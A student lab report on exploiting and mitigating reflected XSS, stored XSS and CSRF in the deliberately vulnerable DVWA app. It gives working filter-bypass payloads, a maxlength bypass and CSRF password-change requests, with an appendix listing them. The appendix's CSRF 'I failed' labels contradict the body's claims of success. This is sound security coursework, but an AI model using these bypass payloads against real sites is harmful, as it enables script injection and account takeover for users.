

# Project 1 - DVWA Report

**Student:** Zach Brown

**Course:** CS3780

**Topic:** XSS & CSRF in DVWA (Low to Impossible)

**Environment:** Windows 11, XAMPP (Apache + MySQL), DVWA, Microsoft Edge

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## Introduction

This lab walks through exploiting and defending against common web vulnerabilities in DVWA. I focused on Reflected XSS, Stored XSS, and CSRF across all security levels (Low, Medium, High, Impossible). For each task I documented payloads used, why attacks succeeded or failed, and what defensive controls actually worked. The goal text for all XSS tasks was “CS3780.”

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
## Task Results

### Reflected XSS — Comparison (Low to Impossible)

#### Low

- **Goal:** Trigger alert with CS3780.
- **Action:** Submit `<script>alert('CS3780')</script>`.
- **Result:** Alert displayed.
- **Reason:** No filtering/encoding; the app echoes input:  
`echo '<pre>Hello ' . $_GET['name'] . '</pre>';`


**Screenshot:**




## Medium

- **Goal:** Bypass naive filter.
- **Action (fails):** `<script>alert('CS3780')</script>`
- **Action (works):** `<script >alert('CS3780')</script>` (space after `script`)
- **Reason:** Blacklist only removes the exact `<script>` string:  
`$name = str_replace('<script>', ' ', $_GET['name']);`

## Screenshot(s):







## **High**

- **Goal:** Bypass regex filter.
- **Actions (work):**
  - `<img src=x onerror="alert('CS3780')">`
  - `<svg onload=alert('CS3780')>`
  - `<details open ontoggle=alert('CS3780')>`

- **Reason:** Regex strips tags containing “s...c...r...i...p...t” but output is still unencoded:  
`preg_replace('/<(.*s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET['name']);`

### Screenshot(s):









### **Impossible**



- **Goal:** Verify defenses.
- **Action:** All prior payloads (including HTML entities).
- **Result:** Rendered as text; no execution.
- **Reason:** Output encoding at the sink:  
`$name = htmlspecialchars($_GET['name']);` plus CSRF token check.

**Screenshot of failures:**










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## Stored XSS — Comparison (Low to Impossible)


### Low

- **Goal:** Store payload that re-triggers on view.
- **Action (Message):** `<script>alert('CS3780-SecLow')</script>`
- **Result:** Alert on submit and on refresh (because it's stored).

### Screenshot (s):




Name *	<input type="text" value="Zach"/>
Message *	<input type="text" value="&lt;script&gt;alert('CS3780-SecLow')&lt;/script&gt;"/>
	<input type="button" value="Sign Guestbook"/> <input type="button" value="Clear Guestbook"/>





## Medium


- **Goal:** Find a field that's still unsafe.
- **Message:** `strip_tags` + `htmlspecialchars` → no execution.
- **Name:** Only strips exact `<script>`. I removed the client-side `maxlength` in DevTools and stored:  
`<img src=x onerror="alert('CS3780-SecMedName')">`
- **Result:** Alert when the entry renders.

### Screenshot(s):






Toggle theme between light and dark.

<ul style="list-style-type: none"> <li><a href="#">Home</a></li> <li><a href="#">Instructions</a></li> <li><a href="#">Setup / Reset DB</a></li> <li><a href="#">Brute Force</a></li> <li><a href="#">Command Injection</a></li> <li><a href="#">CSRF</a></li> <li><a href="#">File Inclusion</a></li> <li><a href="#">File Upload</a></li> <li><a href="#">Insecure CAPTCHA</a></li> <li><a href="#">SQL Injection</a></li> <li><a href="#">SQL Injection (Blind)</a></li> <li><a href="#">Weak Session IDs</a></li> <li><a href="#">XSS (DOM)</a></li> <li><a href="#">XSS (Reflected)</a></li> <li><a href="#">XSS (Stored)</a></li> <li><a href="#">CSP Bypass</a></li> <li><a href="#">JavaScript</a></li> <li><a href="#">Authorisation Bypass</a></li> <li><a href="#">Open HTTP Redirect</a></li> <li><a href="#">Cryptography</a></li> <li><a href="#">API</a></li> <li><a href="#">DWVA Security</a></li> <li><a href="#">PHP Info</a></li> <li><a href="#">About</a></li> <li><a href="#">Logout</a></li> </ul>	<h2 style="text-align: center;">Vulnerability: Stored Cross Site Scripting (XSS)</h2> <div style="border: 1px solid black; padding: 10px; margin-top: 10px;"> <p>Name * <input type="text"/></p> <p>Message * <input type="text"/></p> <p style="text-align: center;"> <input type="button" value="Sign Guestbook"/> <input type="button" value="Clear Guestbook"/> </p> </div> <div style="margin-top: 20px;"> <p>Name: Zach Message: alert('\CS3780-SecMed')</p> <hr/> <p>Name: Zach Message: alert('\CS3780-SecMed')</p> <hr/> <p>Name:               Message: Since the message field on medium security is sanitized ( strip_tags + htmlspecialchars ), I would not be able to get my code to execute in here. The Name field only strips the exact tag and the 10-character limit is just client-side! So, I removed that limit with DevTools. (Also, the 50-char limit</p> </div> <div style="margin-top: 20px;"> <h3>More Information</h3> <ul style="list-style-type: none"> <li><a href="https://owasp.org/www-community/attacks/xss">https://owasp.org/www-community/attacks/xss</a></li> <li><a href="https://owasp.org/www-community/xss-filter-avasion-cheatsheet">https://owasp.org/www-community/xss-filter-avasion-cheatsheet</a></li> <li><a href="https://en.wikipedia.org/wiki/Cross-site_scripting">https://en.wikipedia.org/wiki/Cross-site_scripting</a></li> <li><a href="https://www.cgisecurity.com/xss-faq.html">https://www.cgisecurity.com/xss-faq.html</a></li> <li><a href="https://www.scriptalert1.com/">https://www.scriptalert1.com/</a></li> </ul> </div>
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Username: admin  
Security Level: medium  
Locale: en  
SQLi DB: mysql

[View Source](#) | [View Help](#)

## High

- **Message:** `strip_tags + htmlspecialchars` - no execution.
- **Name:** Regex blocks "script", but non-script vectors still render. After removing `maxlength`, stored:  
`<img src=x onerror="alert('CS3780-SecHighName')">`
- **Result:** Alert when the entry renders.

### Screenshot(s):

The screenshot displays the DVWA web application interface. The top navigation bar includes links for Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF, File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored) (highlighted in green), CSP Bypass, JavaScript, Authorisation Bypass, Open HTTP Redirect, Cryptography, API, DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: Stored Cross Site Scripting (XSS)". It features a form with "Name \*" and "Message \*" input fields, and "Sign Guestbook" and "Clear Guestbook" buttons. Below the form, a preview shows "Name: Zach" and "Message: alert('\CS3780-SecHighMsg')". A "More Information" section lists several links to external resources. At the bottom, the user's session information is displayed: "Username: admin", "Security Level: high", "Locale: en", and "SQLi DB: mysql". There are also "View Source" and "View Help" buttons.

Home  
Instructions  
Setup / Reset DB  
Brute Force  
Command Injection  
CSRF  
File Inclusion  
File Upload  
Insecure CAPTCHA  
SQL Injection  
SQL Injection (Blind)  
Weak Session IDs  
XSS (DOM)  
XSS (Reflected)  
**XSS (Stored)**  
CSP Bypass  
JavaScript  
Authorisation Bypass  
Open HTTP Redirect  
Cryptography  
API  
DVWA Security  
PHP Info  
About  
Logout

### Vulnerability: Stored Cross Site Scripting (XSS)

Name \*  
Message \*  
Sign Guestbook Clear Guestbook


Name: Zach  
Message: alert('\CS3780-SecHighMsg')

### More Information

- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- [https://en.wikipedia.org/wiki/Cross-site\\_scripting](https://en.wikipedia.org/wiki/Cross-site_scripting)
- <https://www.cgisecurity.com/xss-faq.html>
- <https://www.scriptalert1.com/>

Username: admin  
Security Level: high  
Locale: en  
SQLi DB: mysql


View Source View Help



## Impossible

- **Goal:** Confirm full mitigation.
- **Action:** Non-script vectors in Name; `<script>` in Message; encoded versions.
- **Result:** All rendered as text.
- **Reason:** Both fields encoded with `htmlspecialchars(...)`; prepared statements + CSRF token.

**Screenshot of failure:**



## Stored vs Reflected (what I observed)

- **Payload location:** Stored lives in the database and hits every viewer; Reflected executes only on the current request.
- **Impact:** Stored is broader and can reach admins; Reflected usually requires a victim to click a crafted link.
- **Exploitation:** Stored retriggers on every view; client-side limits (like `maxlength`) are not security and can be bypassed. Reflected needs a delivery vector each time.
- **Defense that worked:** Encoding at output (`htmlspecialchars`) and CSRF tokens. Blacklists were easy to evade.

## CSRF — Comparison (Low to Impossible)

### Low

- **Action:** Direct GET with parameters to `/vulnerabilities/csrf/`.

- **Result:** Password changed to **CS3780-Low**. No token; GET allowed.

## Screenshot:

**DVWA**

**Vulnerability: Cross Site Request Forgery (CSRF)**

Change your admin password:

New password:

Confirm new password:

Password Changed.

Note: Browsers are starting to default to setting the [SameSite cookie](#) flag to Lax, and in doing so are killing off some types of CSRF attacks. When they have completed their mission, this lab will not work as originally expected.

Announcements:

- [Chromium](#)
- [Edge](#)
- [Firefox](#)

As an alternative to the normal attack of hosting the malicious URLs or code on a separate host, you could try using other vulnerabilities in this app to store them, the Stored XSS lab would be a good place to start.

**More Information**

- <https://owasp.org/www-community/attacks/csrf>
- <https://www.cgisecurity.com/csrf-faq.html>
- [https://en.wikipedia.org/wiki/Cross-site\\_request\\_forgery](https://en.wikipedia.org/wiki/Cross-site_request_forgery)

Username: admin  
Security Level: low  
Locale: en  
SQLi DB: mysql

Damn Vulnerable Web Application (DVWA)



## Medium

- **Action:** Same-origin helper page under </dvwa/vulnerabilities/csrf/csrf-med.html> that auto-POSTs the new password.
- **Result:** Password changed to [CS3780-Med](#). Cross-site attempt failed due to SameSite cookies; same-origin succeeded because there's still no token check.

**No Screenshot**

## High

- **Action:** Same-origin script fetched the form, parsed hidden [user\\_token](#), and POSTed with the token.
- **Result:** Password changed to [CS3780-High](#) only when the request included a valid token.
- **Observation:** Classic cross-site CSRF can't read the token; success here required same-origin code.

**No Screenshot**

## Impossible

- **Action:** Off-site auto-POST.
- **Result:** No change. Server enforces token; browser blocks cross-site cookies by default (SameSite).

**No Screenshot**

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# Thought Process & Filter Bypass Notes

- I started with the simplest payloads to confirm a vulnerability, then read View Source to see how inputs were handled.
  - When I saw blacklists (e.g., `str_replace('<script>')` or a “script” regex), I switched to non-script vectors (event handlers, SVG, details/ontoggle) or small syntax changes (a space in `<script >`).
  - When I saw encoding at output (`htmlspecialchars`), I expected failure and validated by submitting both literal tags and encoded forms.
  - For Stored XSS, client-side limits (Name `maxlength`) were removed via DevTools to test server-side logic.
  - For CSRF, I demonstrated why GET without a token is dangerous, why POST alone isn't enough, and how a per-session token stops cross-site attempts.
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## Mitigations that actually worked

- **Always encode at the sink:** `htmlspecialchars(..., ENT_QUOTES, 'UTF-8')` before outputting user input to HTML.
  - **Prefer allow-lists** over string-based blacklists.
  - **Use CSRF tokens** that are tied to the session and validated on write actions.
  - **Use prepared statements** for DB writes/reads (present in Stored/Impossible).
  - **Don't trust client-side controls** (`maxlength`, disabled fields); enforce limits server-side.
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## Reflection

This lab made two things clear. First, blacklists are brittle, small variations or alternative HTML/JS sinks slip through. What consistently stopped XSS was encoding at output and using prepared statements. Second, CSRF defenses require server-side tokens; switching to POST alone is not enough, and modern SameSite cookies only help when the attacker is off-site. I also

saw how UI constraints (like a short Name field) are not security and can be bypassed easily. In real applications I would combine output encoding, strict content handling, CSRF tokens, and server-side validation to reduce the attack surface.

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## Appendix A — Payloads Used (reference)

### Reflected XSS

- Low: `<script>alert('CS3780')</script>`
- Medium (bypass): `<script >alert('CS3780')</script>`
- High (bypass):
  - `<img src=x onerror="alert('CS3780')">`
  - `<svg onload=alert('CS3780')>`
  - `<details open ontoggle=alert('CS3780')>`
- Impossible: all rendered as text (no working payload)

### Stored XSS

- Low (Message): `<script>alert('CS3780-SecLow')</script>`
- Medium (Name, after removing `maxlength`): `<img src=x onerror="alert('CS3780-SecMedName')">`
- High (Name, after removing `maxlength`): `<img src=x onerror="alert('CS3780-SecHighName')">`
- Impossible: all rendered as text (no working payload)

### CSRF

- Low (GET):  
`/dvwa/vulnerabilities/csrf/?password_new=CS3780-Low&password_conf=CS3780-Low&Change=Change`

- Medium *\*I failed\** (same-origin POST helper under DVWA path):  
`password_new=CS3780-Med&password_conf=CS3780-Med&Change=Change`
- High *\*I failed\** (same-origin script that fetched token, then POSTed):  
`password_new=CS3780-High&password_conf=CS3780-High&user_token=<token>&Change=Change`
- Impossible: off-site POST *failed* (token + SameSite)